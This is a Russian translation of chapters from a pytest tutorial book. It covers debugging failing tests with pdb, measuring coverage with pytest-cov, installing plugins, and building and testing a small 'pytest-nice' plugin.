Прежде чем мы рассмотрим, как pdb может помочь нам отладить этот тест, давайте взглянем на доступные параметры pytest, чтобы ускорить отладку ошибок теста, которые мы впервые рассмотрели в разделе "Использование Опций" на стр.9:


  • --tb=[auto/long/short/line/native/no]: Управляет стилем трассировки.
  • -v / --verbose: Отображает все имена тестов, пройденных или не пройденных.
  • -l / --showlocals: Отображает локальные переменные рядом с трассировкой стека.
  • -lf / --last-failed: Запускает только тесты, которые завершились неудачей.
  • -x / --exitfirst: Останавливает тестовую сессию при первом сбое.
  • --pdb: Запускает интерактивный сеанс отладки в точке сбоя.


Installing MongoDB



Как упомянуто в главе 3, "Pytest Fixtures", на странице 49, для запуска тестов MongoDB требуется установка MongoDB и pymongo.

Я тестировал версию Community Server, найденную по адресу https://www.mongodb.com/download-center. pymongo устанавливается с pip:pip install pymongo. Однако это последний пример в книге, где используется MongoDB. Чтобы опробовать отладчик без использования MongoDB, можно выполнить команды pytest из code/ch2/, так как этот каталог также содержит несколько неудачных тестов.



Мы просто запустили тесты из code/ch3/c, чтобы убедиться, что некоторые из них не работают. Мы не видели tracebacks или имен тестов, потому что --tb=no отключает трассировку, и у нас не было включено --verbose. Давайте повторим ошибки (не более трех) с подробным текстом:

$ pytest --tb=no --verbose --lf --maxfail=3
============================= test session starts =============================

collected 96 items / 52 deselected
run-last-failure: rerun previous 44 failures

tests/func/test_add.py::test_add_returns_valid_id[mongo] ERROR           [  2%]
tests/func/test_add.py::test_added_task_has_id_set[mongo] ERROR          [  4%]
tests/func/test_add.py::test_add_increases_count[mongo] ERROR            [  6%]

=================== 52 deselected, 3 error in 0.72 seconds ====================

Теперь мы знаем, какие тесты провалились. Давайте рассмотрим только один из них, используя -x, включив трассировку, не используя --tb=no, и показывая локальные переменные с -l:

$ pytest -v --lf -l -x
===================== test session starts ======================
run-last-failure: rerun last 42 failures
collected 96 items
tests/func/test_add.py::test_add_returns_valid_id[mongo] FAILED
=========================== FAILURES ===========================
_______________ test_add_returns_valid_id[mongo] _______________
tasks_db = None

    def test_add_returns_valid_id(tasks_db):
        """tasks.add(<valid task>) should return an integer."""
        # GIVEN an initialized tasks db
        # WHEN a new task is added
        # THEN returned task_id is of type int
        new_task = Task('do something')
        task_id = tasks.add(new_task)   
> assert isinstance(task_id, int)
E AssertionError: assert False
E + where False = isinstance(ObjectId('59783baf8204177f24cb1b68'), int)
new_task = Task(summary='do something', owner=None, done=False, id=None)

task_id = ObjectId('59783baf8204177f24cb1b68')
tasks_db = None
tests/func/test_add.py:16: AssertionError

!!!!!!!!!!!! Interrupted: stopping after 1 failures !!!!!!!!!!!!
===================== 54 tests deselected ======================
=========== 1 failed, 54 deselected in 2.47 seconds ============

Довольно часто этого достаточно, чтобы понять почему случился провал теста. В этом конкретном случае довольно ясно, что task_id не является целым числом—это экземпляр ObjectId. ObjectId — это тип, используемый MongoDB для идентификаторов объектов в базе данных. Мое намерение со слоем tasksdb_pymongo.py было скрыть определенные детали реализации MongoDB от остальной части системы. Понятно, что в этом случае это не сработало.

Тем не менее, мы хотим посмотреть, как использовать pdb с pytest, так что давайте представим, что неясно, почему этот тест не удался. Мы можем сделать так, чтобы pytest запустил сеанс отладки и запустил нас прямо в точке сбоя с помощью --pdb:

$ pytest -v --lf -x --pdb
===================== test session starts ======================
run-last-failure: rerun last 42 failures
collected 96 items
tests/func/test_add.py::test_add_returns_valid_id[mongo] FAILED
>>>>>>>>>>>>>>>>>>>>>>>>>> traceback >>>>>>>>>>>>>>>>>>>>>>>>>>>
tasks_db = None
    def test_add_returns_valid_id(tasks_db):
        """tasks.add(<valid task>) should return an integer."""
        # GIVEN an initialized tasks db
        # WHEN a new task is added
        # THEN returned task_id is of type int
        new_task = Task('do something')
        task_id = tasks.add(new_task)
> assert isinstance(task_id, int)
E AssertionError: assert False
E + where False = isinstance(ObjectId('59783bf48204177f2a786893'), int)
tests/func/test_add.py:16: AssertionError
>>>>>>>>>>>>>>>>>>>>>>>>> entering PDB >>>>>>>>>>>>>>>>>>>>>>>>>
> /path/to/code/ch3/c/tasks_proj/tests/func/test_add.py(16)
> test_add_returns_valid_id()
-> assert isinstance(task_id, int)
(Pdb)

Теперь, когда мы находимся в приглашении (Pdb), у нас есть доступ ко всем интерактивным функциям отладки pdb. При просмотре сбоев я регулярно использую эти команды:


  • p/print expr: Печатает значение exp.
  • pp expr: Pretty печатает значение expr.
  • l/list: Перечисляет точку сбоя и пять строк кода выше и ниже.
  • l/list begin,end: Перечисляет конкретные номера строк.
  • a/args: Печатает аргументы текущей функции с их значениями.
  • u/up: Перемещается на один уровень вверх по трассе стека.
  • d/down: Перемещается вниз на один уровень в трассировке стека.
  • q/quit: Завершает сеанс отладки.

Другие навигационные команды, такие как step и next, не очень полезны, так как мы сидим прямо в операторе assert. Вы также можете просто ввести имена переменных и получить значения.

Можно использовать p/print expr аналогично параметру -l/--showlocals для просмотра значений в функции:

(Pdb) p new_task
Task(summary='do something', owner=None, done=False, id=None)
(Pdb) p task_id
ObjectId('59783bf48204177f2a786893')
(Pdb)

Теперь можно выйти из отладчика и продолжить тестирование.

(Pdb) q
!!!!!!!!!!!! Interrupted: stopping after 1 failures !!!!!!!!!!!!
===================== 54 tests deselected ======================
========== 1 failed, 54 deselected in 123.40 seconds ===========

Если бы мы не использовали , pytest бы снова открыл Pdb в следующем теста. Дополнительные сведения об использовании модуля pdb доступны в документации Python.


Coverage.py: Определение объема тестируемого кода

Покрытие кода является показателем того, какой процент тестируемого кода тестируется набором тестов. Когда вы запускаете тесты для проекта «Tasks», некоторые функции «Tasks» выполняются с каждым тестом, но не со всеми.

Инструменты покрытия кода отлично подходят для того, чтобы сообщить вам, какие части системы полностью пропущены тестами.

Coverage.py является предпочтительным инструментом покрытия Python, который измеряет покрытие кода.

Вы будете использовать его для проверки кода проекта Tasks с помощью pytest.

Что бы использовать coverage.py нужно его установить. Не помешает установить плагин под названием pytest-cov, который позволит вам вызывать coverage.py от pytest с некоторыми дополнительными опциями pytest. Поскольку coverage является одной из зависимостей pytest-cov, достаточно установить pytest-cov и он притянет за собой coverage.py:

$ pip install pytest-cov
Collecting pytest-cov
   Using cached pytest_cov-2.5.1-py2.py3-none-any.whl
Collecting coverage>=3.7.1 (from pytest-cov)
   Using cached coverage-4.4.1-cp36-cp36m-macosx_10_10_x86
...
Installing collected packages: coverage, pytest-cov
Successfully installed coverage-4.4.1 pytest-cov-2.5.1

Давайте запустим отчет о покрытии для второй версии задач. Если у вас все еще установлена первая версия проекта Tasks, удалите ее и установите версию 2:

$ pip uninstall tasks
Uninstalling tasks-0.1.0:
  /path/to/venv/bin/tasks
  /path/to/venv/lib/python3.6/site-packages/tasks.egg-link
Proceed (y/n)? y
  Successfully uninstalled tasks-0.1.0
$ cd /path/to/code/ch7/tasks_proj_v2
$ pip install -e .
Obtaining file:///path/to/code/ch7/tasks_proj_v2
...
Installing collected packages: tasks
  Running setup.py develop for tasks
Successfully installed tasks
$ pip list
...
tasks (0.1.1, /path/to/code/ch7/tasks_proj_v2/src)
...

Теперь, когда установлена следующая версия задач, можно запустить отчет о базовом покрытии:

$ cd /path/to/code/ch7/tasks_proj_v2
$ pytest --cov=src

===================== test session starts ======================

plugins: mock-1.6.2, cov-2.5.1
collected 62 items
tests/func/test_add.py ...
tests/func/test_add_variety.py ............................
tests/func/test_add_variety2.py ............
tests/func/test_api_exceptions.py .........
tests/func/test_unique_id.py .
tests/unit/test_cli.py .....
tests/unit/test_task.py ....

---------- coverage: platform darwin, python 3.6.2-final-0 -----------

Name                           Stmts   Miss  Cover
--------------------------------------------------
src\tasks\__init__.py              2      0   100%
src\tasks\api.py                  79     22    72%
src\tasks\cli.py                  45     14    69%
src\tasks\config.py               18     12    33%
src\tasks\tasksdb_pymongo.py      74     74     0%
src\tasks\tasksdb_tinydb.py       32      4    88%
--------------------------------------------------
TOTAL                            250    126    50%

================== 62 passed in 0.47 seconds ===================

Поскольку текущий каталог является tasks_proj_v2, а тестируемый исходный код находится в src, добавление опции --cov=src создает отчет о покрытии только для этого тестируемого каталога.

Как видите, некоторые файлы имеют довольно низкий и даже 0%, охват. Это полезные напоминания: tasksdb_pymongo.py 0%, потому что мы отключили тестирование для MongoDB в этой версии. Некоторые из них довольно низкие. Проект, безусловно, должен будет поставить тесты для всех этих областей, прежде чем он будет готов к прайм-тайм.

Я полагаю, что несколько файлов имеют более высокий процент покрытия: api.py и tasksdb_tinydb.py. Давайте посмотрим на tasksdb_tinydb.py и посмотрим, чего не хватает. Думаю, что лучший способ сделать это — использовать отчеты HTML.

Если вы снова запустите coverage.py с параметром --cov-report=html, будет создан отчет в формате HTML:

$ pytest --cov=src --cov-report=html
===================== test session starts ======================
plugins: mock-1.6.2, cov-2.5.1
collected 62 items
tests/func/test_add.py ...
tests/func/test_add_variety.py ............................
tests/func/test_add_variety2.py ............
tests/func/test_api_exceptions.py .........
tests/func/test_unique_id.py .
tests/unit/test_cli.py .....
tests/unit/test_task.py ....
---------- coverage: platform darwin, python 3.6.2-final-0 -----------
Coverage HTML written to dir htmlcov
================== 62 passed in 0.45 seconds ===================

Затем можно открыть htmlcov/index.html в браузере, который показывает вывод на следующем экране:

Щелчок по tasksdb_tinydb.py покажет отчет для одного файла. В верхней части отчета отображается процент покрытые строки, плюс сколько строк охвачено и сколько нет, как показано на следующем экране:

Прокручивая вниз, вы можете увидеть пропущенные строки, как показано на следующем экране:

Даже если этот экран не является полной страницей для этого файла, этого достаточно, чтобы сказать нам, что:


  1. Мы не тестируем list_tasks() с установленным владельцем.
  2. Мы не тестируем update() или delete().
  3. Возможно, мы недостаточно тщательно тестируем unique_id().

Отлично. Мы можем включить их в наш список TO-DO по тестированию вместе с тестированием системы конфигурации.

Хотя инструменты покрытия кода чрезвычайно полезны, стремление к 100% покрытию может быть опасным. Когда вы видите код, который не тестируется, это может означать, что необходим тест. Но это также может означать, что есть некоторые функции системы, которые не нужны и могут быть удалены. Как и все инструменты разработки программного обеспечения, анализ покрытия кода не заменяет мышления.

Более подробную информацию можно найти в документации coverage.py и pytest-cov.

Вернуться

Let's block ads! (Why?)

[Перевод] Python Testing с pytest. Плагины, ГЛАВА 5

Вернуться Дальше

Достаточно мощный pytest прямо из коробки, становится еще лучше, когда вы добавляете в него микс из плагинов. Кодовая база pytest структурирована настройками и расширениями, и есть хуки, доступные для модификации и улучшений через плагины.

Примеры в этой книге написаны с использованием Python 3.6 и pytest 3.2. pytest 3.2 поддерживает Python 2.6, 2.7 и Python 3.3+.


Исходный код для проекта Tasks, а также для всех тестов, показанных в этой книге, доступен по ссылке на веб-странице книги в pragprog.com. Вам не нужно загружать исходный код, чтобы понять тестовый код; тестовый код представлен в удобной форме в примерах. Но что бы следовать вместе с задачами проекта, или адаптировать примеры тестирования для проверки своего собственного проекта (руки у вас развязаны!), вы должны перейти на веб-страницу книги и скачать работу. Там же, на веб-странице книги есть ссылка для сообщений errata и дискуссионный форум.

Под спойлером приведен список статей этой серии.


Оглавление

Поехали дальше!

Возможно вы удивитесь узнав, что вы уже написали какие то плагины, если вы проработали предыдущие главы в этой книге. Каждый раз, когда вы помещаете фикстуры и/или hook-функции в файл conftest.py верхнего уровня проекта, вы создаёте локальный плагин conftest. Это просто небольшая дополнительная работа по преобразованию этих файлов conftest.py в устанавливаемые плагины, которые вы можете разделить между проектами, с другими людьми или с миром.

Мы начнем эту главу, с ответа на вопрос, где искать сторонние плагины. Довольно много плагинов доступны, так что есть приличный шанс, что кто — то уже написал изменения, которые вы хотите сделать в pytest. Так как мы будем рассматривать плагины с открытым исходным кодом, то если плагин делает почти то, что вы хотите сделать, но не совсем, вы можете развить его, или использовать его в качестве эталона для создания собственного плагина. Хотя эта глава посвящена созданию ваших собственных плагинов, Приложение 3, плагин Sampler Pack, на странице 163 включен, чтобы дать вам почувствовать вкус того, что возможно.

В этой главе вы узнаете, как создавать плагины, и я укажу вам правильное направление для их тестирования, упаковки и распространения. Полная тема упаковки и распространения Python, слишком обширна и претендует на собственную книгу, поэтому мы не будем охватывать все. Но вы получите достаточно сведений, чтобы иметь возможность обмениваться плагинами с вашей командой. Я также расскажу о некоторых простых способах для создания плагинов с поддержкой PyPI и наименьшим количеством работы.


Поиск плагинов

Вы можете найти сторонние плагины pytest в нескольких местах. Плагины, перечисленные в Приложении 3, Plugin Sampler Pack, на стр. 163, доступны для загрузки с PyPI. Тем не менее, это не единственное место для поиска отличных плагинов pytest.

https://docs.pytest.org/en/latest/plugins.html

На главном сайте документации pytest есть страница, в которой рассказывается об установке и использовании плагинов pytest и перечислены несколько распространенных плагинов.

https://pypi.python.org

Python Package Index (PyPI) — это отличное место для получения большого количества пакетов Python, но также отличное место для поиска плагинов pytest. При поиске плагинов pytest достаточно ввести “pytest,” “pytest -” или “-pytest” в поле поиска, так как большинство pytest плагины либо начинаются с “pytest -” или заканчивается на “-pytest.”

https://github.com/pytest-dev

Группа «pytest-dev» на GitHub — это место, где хранится исходный код pytest. Кроме того, здесь вы можете найти популярные плагины pytest, которые должны поддерживаться в долгосрочной перспективе командой ядра pytest.


Установка плагинов

Плагины pytest устанавливаются с pip, как и другие пакеты Python. Однако,
вы можете использовать pip несколькими способами для установки плагинов.


Установка из PyPI

Поскольку PyPI является местоположением по умолчанию для pip, установка плагинов из PyPI является самым простым методом. Давайте установим плагин pytest-cov:

$ pip install pytest-cov

Будет установлена последняя стабильная версия от PyPI.


Установка определенной версии из PyPI

Если вы хотите конкретную версию плагина, вы можете указать версию после ==:

$ pip install pytest-cov==2.4.0

Установка из файла .tar.gz или .whl

Пакеты на PyPI распространяются как zip-файлы с расширениями .tar.gz и/или .whl. Они часто упоминаются как «tar balls» и «wheels». Если у вас возникли проблемы с попыткой работать с PyPI напрямую (что может случиться с брандмауэрами и другими сетевыми осложнениями), вы можете загрузить либо .tar.gz, либо .whl и установить из этого-того.

Вам не нужно распаковывать или танцевать с бубном; просто укажите pip на него:

$ pip install pytest-cov-2.4.0.tar.gz
# or
$ pip install pytest_cov-2.4.0-py2.py3-none-any.whl

Установка из локального каталога

Вы можете иметь заначку плагинов (и других пакетов Python) в локальном или общем каталоге в формате .tar.gz или .whl и использовать это вместо PyPI для установки плагинов:

$ mkdir some_plugins
$ cp pytest_cov-2.4.0-py2.py3-none-any.whl some_plugins/
$ pip install --no-index --find-links=./some_plugins/ pytest-cov

--no-index указывает pip не подключаться к PyPI. --find-links=./some_plugins/ указывает pip искать в каталоге some_plugins. Этот метод особенно полезен, если у вас есть как сторонние, так и собственные плагины, хранящиеся локально, а также если вы создаете новые виртуальные среды для непрерывной интеграции или с tox. (Мы поговорим как о tox, так и о непрерывной интеграции в главе 7, используя pytest с другими инструментами, на странице 125.)

Обратите внимание, что с помощью метода установки локального каталога вы можете установить несколько версий и указать, какую версию вы хотите, добавив == и номер версии:

$ pip install --no-index --find-links=./some_plugins/ pytest-cov==2.4.0

Установка из репозитория Git

Вы можете установить плагины непосредственно из Git-репозитория в этом случае GitHub:

$ pip install git+https://github.com/pytest-dev/pytest-cov

Можно также указать тег версии:

$ pip install git+https://github.com/pytest-dev/pytest-cov@v2.4.0

Или можно указать ветвь:

$ pip install git+https://github.com/pytest-dev/pytest-cov@master

Установка из репозитория Git особенно полезна, если вы храните свою собственную работу в Git или если требуемая версия плагина или плагин отсутствует в PyPI.


Примечание переводчика:

pip поддерживает установку из Git, Mercurial, Subversion и Bazaar и определяет тип VCS, используя префиксы url: «git+», «hg+», «svn+», «bzr+».
Более подробно можно ознакомиться в документации PyPI


Написание собственных плагинов

Многие сторонние плагины содержат довольно много кода. Это одна из причин, по которой мы используем их-чтобы сэкономить нам время на разработку всего этого самостоятельно. Тем не менее, для вашего конкретного кода вы, несомненно, придумаете специальные фикстуры и модификации, которые помогут вам его протестировать. Создавая плагин, вы можете легко поделиться даже несколькими фикстурами, которые вы хотите разделить между несколькими проектами. Вы можете поделиться этими изменениями с несколькими проектами — и, возможно, с остальным миром, — разрабатывая и распространяя свои собственные плагины. Это довольно легко сделать. В этом разделе мы разработаем небольшую модификацию поведения pytest, упакуем ее как плагин, протестируем и рассмотрим, как ее распространять.

Плагины могут включать hook-функции, которые изменяют поведение pytest. Поскольку pytest был разработан с целью позволить плагинам слегка менять поведение pytest, доступно множество hook-функций. hook-и для pytest указаны на сайте документации pytest. В нашем примере мы создадим плагин, который изменит внешний вид статуса теста. Добавим параметр командной строки, чтобы включить это новое поведение. Добавим текст в выходной заголовок. В частности, мы изменим все индикаторы состояния FAILED (неудачный) на “OPPORTUNITY (перспективный) для усовершенствования,” изменим F на O, и добавим “Thanks for running the tests” (Спасибо за выполнение тестов) к заголовку. Для этого будем использовать опцию --nice.

Чтобы сохранить изменения поведения отдельно от обсуждения механики плагинов, мы внесем изменения в conftest.py до того, как превратим его в распространяемый плагин. Вам не нужно запускать плагины таким образом. Но часто изменения, которые вы намеревались использовать только в одном проекте, станут достаточно полезными, чтобы поделиться ими и превратиться в плагин. Поэтому мы начнем с добавления функциональности в файл conftest.py, а затем, после того, как все заработает в conftest.py, переместим код в пакет.

Вернемся к проекту Tasks. В разделе "ожидание исключений" на странице 30 мы написали несколько тестов, которые проверяли, вызываются ли исключения, если кто-то неправильно вызвал функцию API. Похоже, мы пропустили хотя бы несколько возможных состояний ошибки.

Вот еще пара тестов:


ch5/a/tasks_proj/tests/func/test_api_exceptions.py
"""Проверка ожидаемых исключений из использования API wrong."""
import pytest
import tasks
from tasks import Task

@pytest.mark.usefixtures('tasks_db')
class TestAdd():
    """Тесты, связанные с tasks.add()."""

    def test_missing_summary(self):
        """Следует поднять исключение, если summary missing."""
        with pytest.raises(ValueError):
            tasks.add(Task(owner='bob'))

    def test_done_not_bool(self):
        """Должно вызвать исключение, если done не является bool."""
        with pytest.raises(ValueError):
            tasks.add(Task(summary='summary', done='True'))

Давайте запустим их, чтобы проверить, проходят ли они:

$ cd /path/to/code/ch5/a/tasks_proj
$ pytest
===================== test session starts ======================

collected 57 items
tests/func/test_add.py ...
tests/func/test_add_variety.py ............................
tests/func/test_add_variety2.py ............
tests/func/test_api_exceptions.py .F.......
tests/func/test_unique_id.py .
tests/unit/test_task.py ....

=========================== FAILURES ===========================

__________________ TestAdd.test_done_not_bool __________________

self = <func.test_api_exceptions.TestAdd object at 0x103a71a20>

    def test_done_not_bool(self):
        """Should raise an exception if done is not a bool."""
        with pytest.raises(ValueError):

> tasks.add(Task(summary='summary', done='True'))
E Failed: DID NOT RAISE <class 'ValueError'>

tests/func/test_api_exceptions.py:20: Failed

============= 1 failed, 56 passed in 0.28 seconds ==============

Давайте запустим его снова с -v для подробностей. Поскольку вы уже видели трассировку, вы можете отключить ее, нажав --tb=no.

А теперь давайте сосредоточимся на новых тестах с -k TestAdd, который работает, потому что нет никаких других тестов с именами, которые содержат “TestAdd.”

Мы могли бы "всё бросить" и попытаться исправить этот тест (и мы сделаем это позже), но сейчас мы сосредоточемся на попытке сделать ссобщения о неудаче (failures) более приятными для разработчиков.

Давайте начнем с добавления сообщения "thank you" в заголовок, который вы можете сделать с помощью хука pytest под названием pytest_report_header().


ch5/b/tasks_proj/tests/conftest.py
def pytest_report_header():
    """Благодарность тестеру за выполнение тестов."""
    return "Thanks for running the tests."

Очевидно, что печатать благодарственное сообщение довольно глупо. Однако возможность добавления информации в заголовок может быть расширена. Можно добавить имя пользователя, указать используемое оборудование и тестируемые версии. Вообщем, все, что вы можете преобразовать в строку, можно вставить в заголовок теста.

Затем мы изменим отчет о состоянии теста, чтобы изменить F на O и FAILED на OPPORTUNITY for improvement. Есть хук, который позволяет эту интрижку: pytest_report_teststatus():


ch5/b/tasks_proj/tests/conftest.py
def pytest_report_teststatus(report):
    """Превращает неудачи в возможности."""
    if report.when == 'call' and report.failed:
            return (report.outcome, 'O', 'OPPORTUNITY for improvement')

И теперь мы имеем как раз выход мы искали. Тестовый сеанс без флага --verbose показывает O для сбоев, то есть, возможности улучшения:

$ cd /path/to/code/ch5/b/tasks_proj/tests/func
$ pytest --tb=no test_api_exceptions.py -k TestAdd

===================== test session starts ======================

Thanks for running the tests.
collected 9 items
test_api_exceptions.py .O

====================== 7 tests deselected ======================
======= 1 failed, 1 passed, 7 deselected in 0.06 seconds =======

С флагом -v или --verbose будет получше:

$ pytest -v --tb=no test_api_exceptions.py -k TestAdd
===================== test session starts ======================

Thanks for running the tests.
collected 9 items
test_api_exceptions.py::TestAdd::test_missing_summary PASSED
test_api_exceptions.py::TestAdd::test_done_not_bool OPPORTUNITY for improvement

====================== 7 tests deselected ======================
======= 1 failed, 1 passed, 7 deselected in 0.07 seconds =======

Последнее изменение, которое мы сделаем, это добавим параметр командной строки, --nice, чтобы изменения нашего статуса происходили, только если подставить --nice:

def pytest_addoption(parser):
    """Включает nice функцию с опцией --nice."""
    group = parser.getgroup('nice')
    group.addoption("--nice", action="store_true",
                    help="nice: turn failures into opportunities")

def pytest_report_header():
    """Благодарность тестеру за выполнение тестов."""
    if pytest.config.getoption('nice'):
        return "Thanks for running the tests."

def pytest_report_teststatus(report):
    """Превращает неудачи в возможности."""
    if report.when == 'call':
        if report.failed and pytest.config.getoption('nice'):
            return (report.outcome, 'O', 'OPPORTUNITY for improvement')

Стоит заметить, что для этого плагина мы используем только пару хуков. Есть много других, которые можно найти на главном сайте документации Pytest.

Теперь мы можем вручную протестировать наш плагин, просто запустив его в нашем примере. Во-первых, без опции --nice, чтобы убедиться, что отображается только имя пользователя:

$ cd /path/to/code/ch5/c/tasks_proj/tests/func
$ pytest --tb=no test_api_exceptions.py -k TestAdd

===================== test session starts ======================

collected 9 items
test_api_exceptions.py .F

====================== 7 tests deselected ======================
======= 1 failed, 1 passed, 7 deselected in 0.07 seconds =======

Теперь с --nice:

$ pytest --nice --tb=no test_api_exceptions.py -k TestAdd

===================== test session starts ======================

Thanks for running the tests.
collected 9 items
test_api_exceptions.py .O

====================== 7 tests deselected ======================
======= 1 failed, 1 passed, 7 deselected in 0.07 seconds =======

Теперь с --nice и --verbose:

$ pytest -v --nice --tb=no test_api_exceptions.py -k TestAdd

===================== test session starts ======================

Thanks for running the tests.
collected 9 items
test_api_exceptions.py::TestAdd::test_missing_summary PASSED
test_api_exceptions.py::TestAdd::test_done_not_bool OPPORTUNITY for improvement

====================== 7 tests deselected ======================
======= 1 failed, 1 passed, 7 deselected in 0.06 seconds =======

Отлично! Все изменения, которые мы хотели сделать, сделаны примерно в десятке строк кода файла conftest.py. Далее мы переместим этот код в структуру плагина.


Создание устанавливаемого плагина

Процесс обмена плагинами с другими пользователями четко определен. Даже если вы никогда не включите свой собственный плагин в PyPI, то пройдя через этот процесс, вам будет легче читать код из плагинов с открытым исходным кодом, и у вас будет больше возможностей оценить, помогут они вам или нет.

Было бы излишним полностью охватывать packaging и distribution пакетов Python в этой книге, так как эта тема хорошо документирована в другом месте. Тут и здесь и еще здесь на русском. Тем не менее, перейти от локального подключаемого модуля конфигурации, который мы создали в предыдущем разделе, к чему-то устанавливаемому с помощью pip, является несложной задачей. ,

Во-первых, нам нужно создать новый каталог для размещения нашего кода плагина. Неважно, как вы это называете, но, поскольку мы создаем плагин для флага «nice», давайте назовем его «pytest-nice». У нас будет два файла в этом новом каталоге: pytest_nice.py и setup.py. (Каталог тестов будет обсуждаться в разделе «Плагины тестирования» на странице.105.)

│   LICENSE
│   pytest_nice.py
│   setup.py
│
└───tests
    │   conftest.py
    │   test_nice.py

В pytest_nice.py, мы поместим точное содержимое нашего conftest.py, которое было связано с этой функцией (и извлечем его из tasks_proj/tests/conftest.py):

ch5/pytest-nice/pytest_nice.py

"""Код для pytest-nice плагин."""

import pytest

def pytest_addoption(parser):
    """Включает nice функцию с опцией --nice."""
    group = parser.getgroup('nice')
    group.addoption("--nice", action="store_true",
                    help="nice: turn FAILED into OPPORTUNITY for improvement")

def pytest_report_header():
    """Благодарность тестеру за выполнение тестов."""
    if pytest.config.getoption('nice'):
        return "Thanks for running the tests."

def pytest_report_teststatus(report):
    """Превращает неудачи в возможности."""
    if report.when == 'call':
        if report.failed and pytest.config.getoption('nice'):
            return (report.outcome, 'O', 'OPPORTUNITY for improvement')

В setup.py нам нужен максимальноминимальный вызов setup():


ch5/pytest-nice/setup.py
"""Setup для pytest-nice plugin."""

from setuptools import setup

setup(
    name='pytest-nice',
    version='0.1.0',
    description='Плагин Pytest, чтобы включить FAILURE into OPPORTUNITY',
    url='https://место/где/содержится/информация/на/этот/пакет',
    author='Ваше имя',
    author_email='your_email@somewhere.com',
    license='proprietary',
    py_modules=['pytest_nice'],
    install_requires=['pytest'],
    entry_points={'pytest11': ['nice = pytest_nice', ], },
)

Вам понадобится больше информации в настройках, если вы собираетесь распространять ее среди широкой аудитории или в интернете. Однако для небольшой команды или просто для себя этого будет достаточно.

Вы можете включить еще какие то параметры для setup(); а тут у нас только обязательные поля. Поле версии является версией этого плагина. И это целиком зависит от вас, когда вы поднимаете версию. Поле URL обязательно для заполнения. Вы можете оставить его пустым, но вы получите предупреждение. Поля author и author_email можно заменить на maintainer и maintainer_email, но одна из этих пар должна быть там. Поле license-лицензия представляет собой короткое текстовое поле. Это может быть одна из многих лицензий с открытым исходным кодом, ваше имя или компании, или что-то подходящее для вас. Запись py_modules перечисляет pytest_nice как наш единственный модуль для этого плагина. Хотя это список, и вы можете включить более одного модуля, если бы у меня было больше одного, я бы использовал пакет и поместил все модули в один каталог.

До сих пор все параметры setup() являются стандартными и используются для всех инсталляторов Python. Частью, которая отличается для плагинов Pytest, является параметр entry_points. Мы перечислили entry_points={'pytest11': ['nice = pytest_nice', ], },. Функция entry_points является стандартной для setuptools, но pytest11 специальный идентификатор, который ищет pytest. В этой строке мы сообщаем pytest, что nice-это имя нашего плагина, а pytest_nice-имя модуля, в котором живет наш плагин. Если бы мы использовали пакет, наша запись здесь была бы:

Я еще не говорил о файле README.rst. Некоторая форма README является требованием setuptools. Если вы пропустите его, вы получите это:

...
warning: sdist: standard file not found: should have one of README,
README.rst, README.txt
...

Сохранение README в качестве стандартного способа включения некоторой информации о проекте-хорошая идея в любом случае. Вот что я положил в файл для pytest-nice:


ch5/pytest-nice/README.rst
pytest-nice : A pytest plugin
=============================

Делает вывод pytest немного дружелюбнее во время сбоев.

Особенности
--------
- Включает имя пользователя, выполняющего тесты в выводе pytest.
- Добавляет ``--nice`` опцию, которая:
- превращает ``F`` в ``O``
- с ``-v``, преобразует ``FAILURE`` в ``OPPORTUNITY for improvement``

Установка 
------------

Учитывая, что наши плагины Pytest сохраняются в виде .tar.gz в
общей директория PATH, устанавливайте так:

::

$ pip install PATH/pytest-nice-0.1.0.tar.gz
$ pip install --no-index --find-links PATH pytest-nice

Использование
-----

::

$ pytest --nice

Есть много мнений о том, что должно быть в файле README. Это сильно обрезанная версия, но она работает.


Тестирование Плагинов

Плагины — это код, который необходимо протестировать, как и любой другой код. Тем не менее, тестирование изменений в инструменте тестирования немного сложнее. Когда мы разработали код плагина в разделе «Написание собственных плагинов», на странице 98, мы проверили его вручную, используя образец тестового файла, запустив с ним pytest и проверив вывод, чтобы убедиться, что он был правильным. Мы можем сделать то же самое в автоматическом режиме с помощью плагина под названием pytester, который поставляется с pytest, но отключен по умолчанию.

В нашем тестовом каталоге для pytest-nice есть два файла: conftest.py и test_nice.py. Чтобы использовать pytester, нам нужно добавить только одну строку в conftest.py:


ch5/pytest-nice/tests/conftest.py
"""pytester is needed for testing plugins."""
pytest_plugins = 'pytester'

Эта строка включает плагин pytester. Мы будем использовать фикстуру под названием testdir, которая становится доступным, когда pytester включен.
Часто тесты для плагинов принимают форму, которую мы описали вручную:


  1. Сделайте пример тестового файла.
  2. Запустите pytest с некоторыми параметрами или без них в каталоге, который содержит файл примера.
  3. Проверьте выходные данные.
  4. Возможный, для проверки кода результат-0 для всех проходов, 1 для некоторых сбоев.

Давайте рассмотрим один пример:


ch5/pytest-nice/tests/test_nice.py
def test_pass_fail(testdir):

    # создать временный тестовый модуль Pytest
    testdir.makepyfile("""
        def test_pass():
            assert 1 == 1

        def test_fail():
            assert 1 == 2
    """)

    # запустить pytest
    result = testdir.runpytest()

    # fnmatch_lines выполняет внутренний ассерт
    result.stdout.fnmatch_lines([
        '*.F',  # . для Pass, F для Fail
    ])

    # убедитесь, что мы получили код выхода '1' для testsuite
    assert result.ret == 1

Фикстура testdir автоматически создает временный каталог для размещения тестовых файлов. Она имеет метод makepyfile(), который позволяет поместить содержимое тестового файла.В этом случае мы создаем два теста: один, который проходит и другой, который не проходит.

Мы запускаем pytest для нового тестового файла с помощью testdir.runpytest(). Вы можете передать параметры, если хотите. Возвращаемое значение может быть рассмотрено в дальнейшем и имеет тип RunResult.

Обычно я смотрю на stdout и ret. Для проверки вывода, по аналогии с тем, как мы это делали вручную, используйте fnmatch_lines, передав список строк, которые мы хотим видеть в выводе, а затем убедившись, что ret равен 0 для проходящих сеансов и 1 для неудачных сеансов. Строки, передаваемые в fnmatch_lines, могут включать символы подстановки. Мы можем использовать наш пример файла для тестов. Вместо того, чтобы дублировать этот код, давайте напишем фикстуру:


ch5/pytest-nice/tests/test_nice.py
@pytest.fixture()
def sample_test(testdir):
    testdir.makepyfile("""
        def test_pass():
            assert 1 == 1

        def test_fail():
            assert 1 == 2
    """)
    return testdir

Теперь, для остальных тестов, мы можем использовать sample_test в качестве каталога, который уже содержит наш пример тестового файла. Ниже приведены тесты для других вариантов:


ch5/pytest-nice/tests/test_nice.py
def test_with_nice(sample_test):
    result = sample_test.runpytest('--nice')
    result.stdout.fnmatch_lines(['*.O', ])  # . for Pass, O for Fail
    assert result.ret == 1

def test_with_nice_verbose(sample_test):
    result = sample_test.runpytest('-v', '--nice')
    result.stdout.fnmatch_lines([
        '*::test_fail OPPORTUNITY for improvement',
    ])
    assert result.ret == 1

